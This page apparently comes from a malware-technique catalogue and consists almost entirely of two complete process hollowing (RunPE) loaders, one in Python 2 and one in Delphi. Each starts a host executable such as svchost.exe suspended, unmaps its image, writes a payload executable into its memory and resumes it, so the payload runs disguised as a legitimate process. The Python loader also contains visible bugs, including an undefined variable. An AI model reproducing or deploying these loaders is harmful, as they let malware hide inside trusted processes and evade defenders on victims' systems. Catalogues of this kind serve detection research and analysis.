# Source: https://github.com/joren485/HollowProcess
from ctypes import *
from pefile import PE
import sys
if len(sys.argv) != 3:
print "Example: runpe.py test.exe C:\windows\system32\svchost.exe"
sys.exit()
payload_exe = sys.argv[1]
target_exe = sys.argv[2]
stepcount = 1
class PROCESS_INFORMATION(Structure):
_fields_ = [
('hProcess', c_void_p),
('hThread', c_void_p),
('dwProcessId', c_ulong),
('dwThreadId', c_ulong)]
class STARTUPINFO(Structure):
_fields_ = [
('cb', c_ulong),
('lpReserved', c_char_p),
('lpDesktop', c_char_p),
('lpTitle', c_char_p),
('dwX', c_ulong),
('dwY', c_ulong),
('dwXSize', c_ulong),
('dwYSize', c_ulong),
('dwXCountChars', c_ulong),
('dwYCountChars', c_ulong),
('dwFillAttribute', c_ulong),
('dwFlags', c_ulong),
('wShowWindow', c_ushort),
('cbReserved2', c_ushort),
('lpReserved2', c_ulong),
('hStdInput', c_void_p),
('hStdOutput', c_void_p),
('hStdError', c_void_p)]
class FLOATING_SAVE_AREA(Structure):
_fields_ = [
("ControlWord", c_ulong),
("StatusWord", c_ulong),
("TagWord", c_ulong),
("ErrorOffset", c_ulong),
("ErrorSelector", c_ulong),
("DataOffset", c_ulong),
("DataSelector", c_ulong),
("RegisterArea", c_ubyte * 80),
("Cr0NpxState", c_ulong)]
class CONTEXT(Structure):
_fields_ = [
("ContextFlags", c_ulong),
("Dr0", c_ulong),
("Dr1", c_ulong),
("Dr2", c_ulong),
("Dr3", c_ulong),
("Dr6", c_ulong),
("Dr7", c_ulong),
("FloatSave", FLOATING_SAVE_AREA),
("SegGs", c_ulong),
("SegFs", c_ulong),
("SegEs", c_ulong),
("SegDs", c_ulong),
("Edi", c_ulong),
("Esi", c_ulong),
("Ebx", c_ulong),
("Edx", c_ulong),
("Ecx", c_ulong),
("Eax", c_ulong),
("Ebp", c_ulong),
("Eip", c_ulong),
("SegCs", c_ulong),
("EFlags", c_ulong),
("Esp", c_ulong),
("SegSs", c_ulong),
("ExtendedRegisters", c_ubyte * 512)]
def error():
print "[!]Error: " + FormatError(GetLastError())
print "[!]Exiting"
print "[!]The process may still be running"
sys.exit()
print "[" + str(stepcount) +"]Creating Suspended Process"
stepcount += 1
startupinfo = STARTUPINFO()
startupinfo.cb = sizeof(STARTUPINFO)
processinfo = PROCESS_INFORMATION()
CREATE_SUSPENDED = 0x0004
if windll.kernel32.CreateProcessA(
None,
target_exe,
None,
None,
False,
CREATE_SUSPENDED,
None,
None,
byref(startupinfo),
byref(processinfo)) == 0:
error()
hProcess = processinfo.hProcess
hThread = processinfo.hThread
print "\t[+]Successfully created suspended process! PID: " + str(processinfo.dwProcessId)
print
print "[" + str(stepcount) +"]Reading Payload PE file"
stepcount += 1
File = open(payload_exe,"rb")
payload_data = File.read()
File.close()
payload_size = len(payload_data)
print "\t[+]Payload size: " + str(payload_size)
print
print "[" + str(stepcount) +"]Extracting the necessary info from the payload data."
stepcount += 1
payload = PE(data = payload_data)
payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase
payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage
payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders
payload_sections = payload.sections
payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections
payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint
payload.close()
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4
payload_data_pointer = windll.kernel32.VirtualAlloc(None,
c_int(payload_size+1),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)
memmove( payload_data_pointer,
payload_data,
payload_size)
print "\t[+]Data from the PE Header: "
print "\t[+]Image Base Address: " + str(hex(payload_ImageBase))
print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))
print "\t[+]Size of Image: " + str(payload_SizeOfImage)
print "\t[+]Pointer to data: " + str(hex(payload_data_pointer))
print
print "[" + str(stepcount) +"]Getting Context"
cx = CONTEXT()
cx.ContextFlags = 0x10007
if windll.kernel32.GetThreadContext(hThread, byref(cx)) == 0:
error()
print
print "[" + str(stepcount) +"]Getting Image Base Address from target"
stepcount += 1
base = c_int(0)
windll.kernel32.ReadProcessMemory(hProcess, c_char_p(cx.Ebx+8), byref(base), sizeof(c_void_p),None)
target_PEBaddress = base
print "\t[+]PEB address: " + str(hex(target_PEBaddress.value))
print
print "[" + str(stepcount) +"]Unmapping"
if target_PEBaddress == payload_ImageBase:
if not windll.ntdll.NtUnmapViewOfSection(
hProcess,
target_ImageBase):
error()
print
print "[" + str(stepcount) +"]Allocation memory"
stepcount += 1
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
address = windll.kernel32.VirtualAllocEx(
hProcess,
c_char_p(payload_ImageBase),
c_int(payload_SizeOfImage),
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
if address == 0:
error()
print "\t[+]Allocated to: "+ str(hex(address))
print
print "[" + str(stepcount) +"]Writing Headers"
stepcount += 1
lpNumberOfBytesWritten = c_size_t(0)
if windll.kernel32.WriteProcessMemory(
hProcess,
c_char_p(payload_ImageBase),
c_char_p(payload_data_pointer),
c_int(payload_SizeOfHeaders),
byref(lpNumberOfBytesWritten)) == 0:
error()
print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
print "\t[+]Pointer to data: " + str(hex(payload_ImageBase))
print "\t[+]Writing to: " + str(hex(payload_data_pointer))
print "\t[+]Size of data: " + str(hex(payload_SizeOfHeaders))
print
for i in range(payload_NumberOfSections):
section = payload_sections[i]
dst = payload_ImageBase + section.VirtualAddress
src = payload_data_pointer + section.PointerToRawData
size = section.SizeOfRawData
print
print "[" + str(stepcount) +"]Writing section: " + section.Name
stepcount += 1
print "\t[+]Pointer to data: " + str(hex(src))
print "\t[+]Writing to: " + str(hex(dst))
print "\t[+]Size of data: " + str(hex(size))
lpNumberOfBytesWritten = c_size_t(0)
if windll.kernel32.WriteProcessMemory(
hProcess,
c_char_p(dst),
c_char_p(src),
c_int(size),
byref(lpNumberOfBytesWritten)) == 0:
error()
print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
print
print "[" + str(stepcount) +"]Editing Context"
stepcount += 1
cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint
lpNumberOfBytesWritten = c_size_t(0)
if windll.kernel32.WriteProcessMemory(
hProcess,
c_char_p(cx.Ebx+8),
c_char_p(payload_data_pointer+0x11C),
c_int(4),
byref(lpNumberOfBytesWritten)) == 0:
error()
print "\t[+]Pointer to data: " + str(hex(cx.Ebx+8))
print "\t[+]Writing to: " + str(hex(payload_data_pointer+0x11C))
print "\t[+]Size of data: " + str(hex(4))
print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
print
print "[" + str(stepcount) +"]Setting Context"
stepcount += 1
windll.kernel32.SetThreadContext(
hThread,
byref(cx))
print
print "[" + str(stepcount) +"]Resuming Thread"
stepcount += 1
if windll.kernel32.ResumeThread(hThread) == 0:
error()
print "[" + str(stepcount) +"]Success"
Author: Unprotect / Target Platform: Windows
Description
Supports both x86-32 / x86-64
The RunPE loader must have the same architecture as PE Payload
and PE Host
. PE Payload
and PE Host
must of course have the same architecture.
// Supports both x86-32 and x86-64
program Unprotect_RunPE;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.Classes,
WinAPI.Windows,
System.SysUtils;
function NtUnmapViewOfSection(
ProcessHandle: THandle;
BaseAddress: Pointer
):DWORD; stdcall; external 'ntdll.dll';
type
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
EInvalidPEFile = class(Exception)
public
{@C}
constructor Create(const AReason : String); overload;
end;
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
FLastError := GetLastError();
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
WinAPI,
FLastError,
SysErrorMessage(FLastError)
]);
///
inherited Create(AFormatedMessage);
end;
constructor EInvalidPEFile.Create(const AReason : String);
begin
inherited Create(Format('Invalid Windows PE File: "%s"', [AReason]));
end;
procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const ADataSize : SIZE_T);
var ABytesWritten : SIZE_T;
begin
if not WriteProcessMemory(
hProcess,
pOffset,
pData,
ADataSize,
ABytesWritten
) then
raise EWindowsException.Create('WriteProcessMemory');
end;
procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String); overload;
var AStartupInfo : TStartupInfo;
AProcessInfo : TProcessInformation;
pThreadContext : PContext;
AImageBase : NativeUInt;
pOffset : Pointer;
ABytesRead : SIZE_T;
ptrImageDosHeader : PImageDosHeader;
AImageNtHeaderSignature : DWORD;
ptrImageFileHeader : PImageFileHeader;
I : Integer;
pSectionHeader : PImageSectionHeader;
pPayloadAddress : Pointer;
pImageBaseOffset : Pointer;
ALoaderX64 : Boolean;
{$IFDEF WIN64}
pOptionalHeader64 : PImageOptionalHeader64;
{$ELSE}
pOptionalHeader32 : PImageOptionalHeader32;
{$ENDIF}
begin
if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
raise Exception.Create('Memory buffer is not valid.');
pOffset := pPEBuffer;
ptrImageDosHeader := PImageDosHeader(pOffset);
if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');
pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);
AImageNtHeaderSignature := PDWORD(pOffset)^;
if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));
ptrImageFileHeader := PImageFileHeader(pOffset);
{$IFDEF WIN64}
ALoaderX64 := True;
{$ELSE}
ALoaderX64 := False;
{$ENDIF}
case ptrImageFileHeader^.Machine of
IMAGE_FILE_MACHINE_AMD64 : begin
if not ALoaderX64 then
Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
end;
IMAGE_FILE_MACHINE_I386 : begin
if ALoaderX64 then
Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
end;
end;
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));
{$IFDEF WIN64}
pOptionalHeader64 := PImageOptionalHeader64(pOffset);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
pOptionalHeader32 := PImageOptionalHeader32(pOffset);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}
pSectionHeader := PImageSectionHeader(pOffset);
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;
UniqueString(APEHost);
if not CreateProcessW(
PWideChar(APEHost),
nil,
nil,
nil,
False,
CREATE_SUSPENDED,
nil,
nil,
AStartupInfo,
AProcessInfo
) then
raise EWindowsException.Create('CreateProcessW');
pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
pThreadContext^.ContextFlags := CONTEXT_FULL;
if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then
raise EWindowsException.Create('GetThreadContext');
{$IFDEF WIN64}
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
{$ELSE}
pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
{$ENDIF}
if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then
raise EWindowsException.Create('ReadProcessMemory');
if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then
raise Exception.Create('Could not unmap section.');
pPayloadAddress := VirtualAllocEx(
AProcessInfo.hProcess,
nil,
{$IFDEF WIN64}
pOptionalHeader64^.SizeOfImage,
{$ELSE}
pOptionalHeader32^.SizeOfImage,
{$ENDIF}
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if not Assigned(pPayloadAddress) then
raise EWindowsException.Create('VirtualAllocEx');
WriteProcessMemoryEx(
AProcessInfo.hProcess,
pPayloadAddress,
pPEBuffer,
{$IFDEF WIN64}
pOptionalHeader64^.SizeOfHeaders
{$ELSE}
pOptionalHeader32^.SizeOfHeaders
{$ENDIF}
);
for I := 1 to ptrImageFileHeader^.NumberOfSections do begin
try
WriteProcessMemoryEx(
AProcessInfo.hProcess,
Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),
Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),
pSectionHeader^.SizeOfRawData
);
finally
pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));
end;
end;
{$IFDEF WIN64}
pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader64^.AddressOfEntryPoint;
{$ELSE}
pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader32^.AddressOfEntryPoint;
{$ENDIF}
WriteProcessMemoryEx(
AProcessInfo.hProcess,
pImageBaseOffset,
@pPayloadAddress,
SizeOf(Pointer)
);
if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
raise EWindowsException.Create('SetThreadContext');
if ResumeThread(AProcessInfo.hThread) = 0 then
raise EWindowsException.Create('ResumeThread');
end;
procedure HollowMe(const APEFile, APEHost : String); overload;
var ABuffer : array of byte;
hFile : THandle;
AFileSize : Int64;
ABytesRead : DWORD;
begin
if not FileExists(APEFile) then
raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
///
hFile := CreateFile(
PWideChar(APEFile),
GENERIC_READ,
FILE_SHARE_READ,
nil,
OPEN_EXISTING,
0,
0
);
if hFile = INVALID_HANDLE_VALUE then
raise EWindowsException.Create('CreateFile');
try
if not GetFileSizeEx(hFile, AFileSize) then
raise EWindowsException.Create('GetFileSizeEx');
if AFileSize = 0 then
raise Exception.Create('Invalid PE File Size.');
SetLength(ABuffer, AFileSize);
if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
raise EWindowsException.Create('ReadFile');
finally
CloseHandle(hFile);
end;
///
HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;
begin
try
HollowMe('FileToRun.exe', 'HostFile.exe');
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.
Author: Jean-Pierre LESUEUR (DarkCoderSc) / Target Platform: Windows